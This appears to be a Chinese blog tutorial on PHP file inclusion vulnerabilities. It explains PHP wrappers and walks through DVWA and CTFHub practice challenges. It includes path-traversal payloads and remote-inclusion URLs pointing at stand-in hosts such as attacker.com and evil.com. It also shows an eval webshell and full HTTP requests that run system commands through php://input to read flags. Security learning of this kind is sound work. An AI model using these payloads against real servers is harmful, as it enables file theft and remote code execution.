博客 / 詳情

返回

文件包含漏洞基礎----DVWA,CTFHub

一、什麼是文件包含漏洞

文件包含漏洞(File Inclusion) 是一種 Web 安全漏洞,通常出現在 PHP程序把用户輸入作為文件路徑直接包含執行 的情況下。

簡單理解:

程序原本想包含服務器上的文件,但攻擊者可以控制路徑,從而加載任意文件。

PHP 代碼示例:

<?php
$page = $_GET['page'];
include($page);
?>

如果訪問:

http://example.com/index.php?page=home.php

程序會包含:

home.php

但是攻擊者可以改成:

http://example.com/index.php?page=../../../../etc/passwd

服務器就會嘗試讀取:

/etc/passwd

這樣就可能 讀取敏感文件或執行惡意代碼

文件包含漏洞分類

1 本地文件包含(LFI)

Local File Inclusion

包含服務器本地文件,例如:

?page=../../../../etc/passwd

攻擊效果:

  • 讀取系統文件
  • 讀取配置文件
  • 結合日誌 getshell

2 遠程文件包含(RFI)

Remote File Inclusion

如果服務器開啓:

allow_url_include = On

攻擊者可以包含遠程惡意代碼:

?page=http://attacker.com/shell.txt

服務器會執行遠程代碼。

二、文件包含漏洞主要函數

在 PHP 中,一些 文件加載函數 如果參數可控,就可能產生文件包含漏洞。

主要有下面幾個:

1 include()

include("file.php");

作用:

包含並執行指定文件。

特點:

  • 如果文件不存在,只產生 warning
  • 程序 繼續執行

示例:

include($_GET['page']);

2 require()

require("file.php");

作用:

和 include 一樣。

區別:

  • 如果文件不存在
  • 會產生 fatal error
  • 程序直接停止

3 include_once()

include_once("file.php");

特點:

同一個文件 只包含一次

4 require_once()

require_once("file.php");

同樣:

  • 只執行一次
  • 文件不存在程序終止

常見漏洞代碼

<?php
$file = $_GET['file'];
include("pages/".$file);
?>

訪問:

?page=../../../../etc/passwd

三、PHP偽協議(PHP Wrappers)

PHP偽協議 是 PHP 提供的一種 特殊資源訪問方式

利用偽協議,攻擊者可以:

  • 讀取源碼
  • 執行代碼
  • 繞過過濾

常見用於 文件包含漏洞利用

1 php://filter

最常見。

作用:

讀取文件並進行 編碼處理

常見用途:

讀取PHP源碼

示例:

php://filter/convert.base64-encode/resource=index.php

如果存在:

include($_GET['file']);

訪問:

?file=php://filter/convert.base64-encode/resource=index.php

返回:base64編碼源碼

再解碼即可看到源碼。

2 php://input

作用:

讀取 HTTP POST 原始數據

可以實現 文件包含執行代碼

示例:

漏洞代碼:

include($_GET['file']);

請求:

POST /index.php?file=php://input

POST內容:

<?php phpinfo(); ?>

服務器就會執行。

3 data://

允許直接包含 數據流代碼

示例:

?file=data://text/plain,<?php phpinfo(); ?>

如果允許 URL include:

allow_url_include = On

就可以執行代碼。

4 file://

讀取本地文件

file:///etc/passwd

示例:

?file=file:///etc/passwd

文件包含漏洞利用常見思路

攻擊者通常會:

1️⃣ 目錄遍歷

../../../../etc/passwd

2️⃣ 讀取源碼

php://filter

3️⃣ 日誌包含 getshell

例如:

/var/log/apache2/access.log

4️⃣ 利用偽協議執行代碼

php://input
data://

靶場練習

DVWA

1.low level

  • 如下圖,點擊連接file1.php。可以發現url為:
    1

    http://172.16.83.131:8090/vulnerabilities/fi/?page=file1.php
    

    page參數傳入了一個php文件,可以改變這個參數的值。

  • 將url改成:(本地文件包含)

    http://172.16.83.131:8090/vulnerabilities/fi/?page=file:///etc/passwd
    

    訪問結果頁面如下:
    2

  • 將url改成:(模仿遠程文件包含)

    http://172.16.83.131:8090/vulnerabilities/fi/?page=file:///etc/FI.php
    

    FI.php文件的內容如下:

    <?php phpinfo(); ?>
    

    訪問結果頁面如下:
    3

2.medium level

源碼如下:可以看出比low level多了幾個替換

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?> 

這個url還能用:

http://172.16.83.131:8090/vulnerabilities/fi/?page=file:///etc/passwd

頁面顯示如下:
4

3.high level

源碼如下:

<?php
// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?> 

page參數開頭必須是file;page參數不能是include.php

這個url還能用:

http://172.16.83.131:8090/vulnerabilities/fi/?page=file:///etc/passwd

頁面顯示如下:
4

CTFHub

網站連接:https://www.ctfhub.com/#/skilltree,選擇Web > RCE.
頁面選擇如下:
5

1.“文件包含”

打開鏈接後,頁面顯示如下:
6

點擊shell有如下內容:
url為http://challenge-51afbc69a3ed8e01.sandbox.ctfhub.com:10800/shell.txt

<?php eval($_REQUEST['ctfhub']);?>

查看界面中的代碼,發現可以使用參數file來包含文件shell.txt,訪問url: http://challenge-51afbc69a3ed8e01.sandbox.ctfhub.com:10800?file=shell.txt
通過Burp Suite抓包得到:

GET /?file=shell.txt HTTP/1.1
Host: challenge-51afbc69a3ed8e01.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

修改為

POST /?file=shell.txt HTTP/1.1
Host: challenge-51afbc69a3ed8e01.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
ctfhub=system("ls /");

一定要加入Content-Type: application/x-www-form-urlencoded,這樣system("ls")才能作為代碼去執行。(HackBar工具會自動加入這個Content-Type字段)
Content-Type字段是告訴服務器傳來的數據是什麼格式(目前使用的是鍵值對)

Response數據包如下:

HTTP/1.1 200 OK
Server: openresty/1.21.4.2
Date: Sat, 07 Mar 2026 09:49:45 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 150
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?

可以發現有flag,於是修改ctfhub值為:system("cat /flag")

Response返回如下:

HTTP/1.1 200 OK
Server: openresty/1.21.4.2
Date: Sat, 07 Mar 2026 09:50:23 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 93
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

ctfhub{add05dcc7473b6963349cdf0}
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?

得到flagctfhub{add05dcc7473b6963349cdf0}. 通過.

2.“php://input”

打開鏈接,顯示的界面如下:
7

查看代碼可以發現,這次的參數也是file,但是對這個參數做了一些要求:必須使用php偽協議。

因此考慮url為

http://challenge-64b9e4ff6c1191b0.sandbox.ctfhub.com:10800?file=php://input

通過Burp Suite抓包得到:

GET /?file=php://input HTTP/1.1
Host: challenge-64b9e4ff6c1191b0.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

修改為:

POST /?file=php://input HTTP/1.1
Host: challenge-64b9e4ff6c1191b0.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-httpd-php
Content-Length: 25

<?php system("ls /");?>

Response數據包為:

HTTP/1.1 200 OK
Server: openresty/1.21.4.2
Date: Sat, 07 Mar 2026 10:22:54 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 176
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

bin
boot
dev
etc
flag_24788
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>

查看flag:

POST /?file=php://input HTTP/1.1
Host: challenge-64b9e4ff6c1191b0.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-httpd-php
Content-Length: 25

<?php system("cat /flag_24788");?>

Response數據包為:

HTTP/1.1 200 OK
Server: openresty/1.21.4.2
Date: Sat, 07 Mar 2026 10:26:51 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 113
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

ctfhub{0768a9bb85e7ac1355a64e55}
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>

得到flagctfhub{0768a9bb85e7ac1355a64e55}. 通過.

3.“遠程包含”

這一關使用file=php://input就能過,通過file添加外部php文件也能過。

點擊phpinfo,查看到關鍵信息:
8

  • 1️⃣ allow_url_fopen

    允許 PHP 的文件函數通過 URL 訪問遠程資源

    例如這些函數可以讀取遠程文件:

    • fopen()
    • file_get_contents()
    • readfile()
    • copy()

    示例:

    file_get_contents("http://evil.com/shell.txt");
    
    • 對 LFI(本地文件包含)影響不大
    • 主要影響 遠程文件讀取

    如果開啓:

    allow_url_fopen = On
    

    攻擊者可以讓程序讀取遠程內容,例如:

    http://victim.com/page.php?file=http://evil.com/test.txt
    

    但這只是讀取內容,不一定會執行代碼。

  • 2️⃣ allow_url_include

    允許 include() / require() 包含遠程 URL 文件並執行

    例如:

    include("http://evil.com/shell.php");
    

    如果開啓:

    allow_url_include = On
    

    遠程 PHP 文件會被當作 PHP 代碼執行


硬件及軟件説明:

I.硬件(電腦)

Apple Macbook Pro M1-Pro (32G) macOS Sonoma 14.8.4

II.軟件(vmware虛擬機)

  • ubuntu作為靶機
    • IP: 172.16.83.131
    • arm64
    • Ubuntu 24.04.3 LTS
  • kali作為攻擊機
    • IP: 172.16.83.130
    • arm64
    • Kali GNU/Linux Rolling
    • 瀏覽器:Firefox

ubuntu中安裝docker靶場:kaakaww/dvwa-docker:latest

# 拉取docker鏡像
sudo docker pull kaakaww/dvwa-docker

# 為鏡像創建容器,並運行
sudo docker run -dt --name dvwa -p 8090:80 kaakaww/dvwa-docker # DVWA 端口設為 8090

📌 不一定對,如有錯誤,歡迎指出🙂。

user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.